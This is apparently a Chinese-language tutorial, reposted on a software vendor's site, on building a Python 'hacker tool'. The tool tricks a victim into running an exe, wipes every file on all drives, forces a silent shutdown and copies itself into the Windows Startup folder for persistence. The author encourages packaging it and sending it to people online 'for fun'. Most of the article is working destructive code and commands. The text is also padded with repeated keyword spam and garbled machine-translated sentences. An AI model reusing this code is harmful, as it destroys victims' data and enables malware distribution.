你好,欢迎进入江苏优软数字科技有限公司官网!

诚信、勤奋、创新、卓越

友好定价、专业客服支持、正版软件一站式服务提供

13262879759

工作日:9:00-22:00

sublime text python 手把手教你使用Python库打造一款简易黑客工具

发布时间:2024-07-22

浏览次数:0

点击上面的“爬虫和数据挖掘”进行关注

回复“图书”共收到10本电子书,从初级到高级

今天

温热的血液是珍藏的,洒上它仍然可以转动蓝色的波浪。

/1 简介/

随着信息时代的到来,人们与互联网的接触越来越广泛,这让很多人向往黑客,并试图通过互联网的虚拟世界做一些有趣的事情。

所以今天我们要谈谈这个工具:如何制作一个黑客软件。众所周知,黑客入侵操作系统的常用方法是发送木马客户端,修改系统注册表、组策略,获取启动权限,入侵计算机,然后修改计算机文件,达到不可告人的目的。

/2 项目目标/

今天我们就来聊聊最基础的,是怎么开始启动的,首先就跟大家讲讲最基础的把文件加到系统启动项的文件夹里,当然也可以用注册表添加更多高端点,这里就不赘述了。

/3 项目准备 /

用文本 3 编写代码并逐步实现该过程。

/4 实施步骤/

1.首先,我们通过社会工程进行分析,并准备一个足够吸引人的exe文件名,让人们一见钟情;别人点击程序后,没有回应,所以有些人可能会在程序上多点击几次,当然,这对程序没有任何影响。

2.首先,我们需要获取系统驱动器号sublime text python,我们可以使用os模块通过环境变量的字典键来获取当前的系统驱动器号。

import osprint(os.getenv('SystemDrive'))

sublime text python_sublime text python_sublime text python

3.拿到盘符后,我们可以打印出他目录中的文件和文件夹。

aa=os.getenv('SystemDrive')os.chdir(aa+'\\\\') \#修改当前目录os.system('tree\>\>1.txt') 打印树形目录并将其结果保存到1.txt文件中

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

4.然后,我们只需要删除驱动器号下的文件夹和文件即可。所以我们需要用os遍历遍历当前驱动器号下的所有文件,然后使用方法和rmdir方法,一个是删除文件,另一个是删除目录。由于没有虚拟机,我创建一个目录,并在其中放置几个文件夹和文件,效果是一样的。

path = r"C:\\Users\\Administrator\\Desktop\\sa"

os.walk() 方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。os.walk() 方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法:

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数:

top -- 根目录下的每一个文件夹(包含它自己), 产生3-元组 (dirpath, dirnames,filenames)【文件夹路径, 文件夹名字, 文件名】topdown --可选,为True或者没有指定一个目录的3-元组将比它的任何子文件夹的3-元组先产生 (目录自上而下)。
如果topdown为 False, 一个目录的3-元组将比它的任何子文件夹的3-元组后产生(目录自下而上)。
onerror -- 可选,是一个函数; 它调用时有一个参数, 一个OSError实例。报告这错误后,继续walk, 或者抛出exception终止walk。

for root,dirs,files in os.walk(path,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

其实还有另外一种方式,那就是。(路径)但是他会删除目录本身以及所有子文件夹和文件,也就是说,他会删除SA目录,所以不建议这样做,因为我们要删除驱动器号下的文件夹或文件,这很容易导致未知错误。

5.拿到系统盘符后,我们还是想拿到系统中的其他盘符,怎么办,不用担心,我们可以试试以下方法。

import os
import string
def get_pan():
disk_list=[] \#磁盘盘符列表
for p in string.ascii_uppercase: \#遍历所有大写字母
disk=p+':'
if os.path.isdir(disk): \#看磁盘盘符名用了哪些大写字母开头
disk_list.append(disk) \#添加到盘符列表
return disk_list
print(get_pan()) #打印盘符

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

结果很完美,完全符合我的预期,甚至打印了 USB 驱动器号。

6. 仅仅打印一个磁盘目录文件似乎有点美中不足,所以我决定把所有的磁盘目录文件都做出来,和以前一样sublime text python,或者做一个树状结构。

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

这样,每个磁盘的目录结构都保存在相应磁盘的2.txt文件中。

7.然后我们会删除这些驱动器号下的所有目录文件,当然是遍历和删除,为了模拟真实场景,我决定用多层文件和目录替换几个文件夹的驱动器号,这里我就不一一截图了,直接在代码上,和以前一样。

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
for root, dirs, files in os.walk(y,topdown=False):\#遍历目录
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))

好的,我们已经删除了所有文件和目录。

8.删除文件后,系统自然不会正常运行,所以我们可以在这个时候关闭电脑。 ,我的选择,这里我们调用命令:

os.popen('shutdown /f /sg')

参数说明:

/f 强制关闭正在运行的应用程序而不事先警告用户。/sg 关闭计算机。在下一次启动时,重启任何注册的应用程序。

这样它可以在没有任何提示的情况下关闭,不被注意,哈哈哈。

9.当然,这个操作要根据文件操作的结束进行,并且会再次优化。

g=['C:\\\\Users\\\\Administrator\\\\Desktop\\\\sa\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\qq\\\\','C:\\\\Users\\\\Administrator\\\\Desktop\\\\sq\\\\']
for y in g:
try:
#遍历目录
for root, dirs, files in os.walk(y,topdown=False):
for name in files:
os.remove(os.path.join(root, name))
for name in dirs:
os.rmdir(os.path.join(root, name))
time.sleep(1)
except Exception:
pass
finally:
os.popen('shutdown /f /sg')\#不弹出黑窗口

我们把程序发到互联网上,幸好有人点击了它,所以我们要在自动启动目录下做文件,然后每次启动程序,程序就会启动。但是这里有一个缺点,你希望别人把那个文件放在引导目录中,这是一个梦想,当然,这些操作可以通过将这些操作留给全能者来一步完成。我们可以点击这个文件快速生成一个bat文件和一个EXE文件或文件。

10.这里我主要是拿和击球,因为我还没有打包。

自启动目录路径:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
import shutil
shutil.copyfile('gc.py',r'C:\\ProgramData\\Microsoft\\Windows\\StartMenu\\Programs\\StartUp\\gc1.py')

这里我们用这个模块,操作文件目录的方法是将当前资源文件复制到另一个目录中的文件,但需要注意的是,两个文件名一定不能相同,否则会报错,虽然他可以复制,但如果必须使用这个方法, 请记住抛出异常。

11.好了,现在好了,效果如下。

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

12.那么我们还需要一个蝙蝠来启动它,因为没有蝙蝠,他需要借助外力点击才能产生效果,而有了蝙蝠,它就可以自动启动。

创建一个后缀为 bat 的文件,内容如下:

sublime text python_sublime text python_sublime text python

一样。我们还是需要我们智能生成bat文件那么怎么写,很简单,有人问我为什么不呢,因为前者运行后没有黑窗,当然不管是创建bat文件还是复制程序文件,最好在删除后调用,有人问我,你的文件被删除了。离开那个有什么用?,哈哈哈哈,我只能说,只是为了娱乐。。。

13. 回到主题,只需要创建程序文件就可以了。

sublime text python_sublime text python_sublime text python

sublime text python_sublime text python_sublime text python

14.这样一来,就算完成了,那我们也可以打包文件,这样就不需要在bat文件中写解释器了,因为有些目标电脑可能没有环境,这个时候就需要打包了。打包后,直接将bat文件的内容改为:

start gc.exe

就是这样~~

打包成exe文件后,就可以发给网上其他人了,哈哈哈~~

/5 总结/

1.本文基于库,获取驱动器号信息,然后使用命令强行删除驱动器号下的文件和自动关机功能,并封装程序,可以创建一个简单的“黑客”工具。

2.一般来说就是介绍每个系统的相关模块的使用,以及一些cmd命令的使用,这并不难,可以用于普通练习,与专业的黑客技术相比,这是一件小事。

如有侵权请联系删除!

13262879759

微信二维码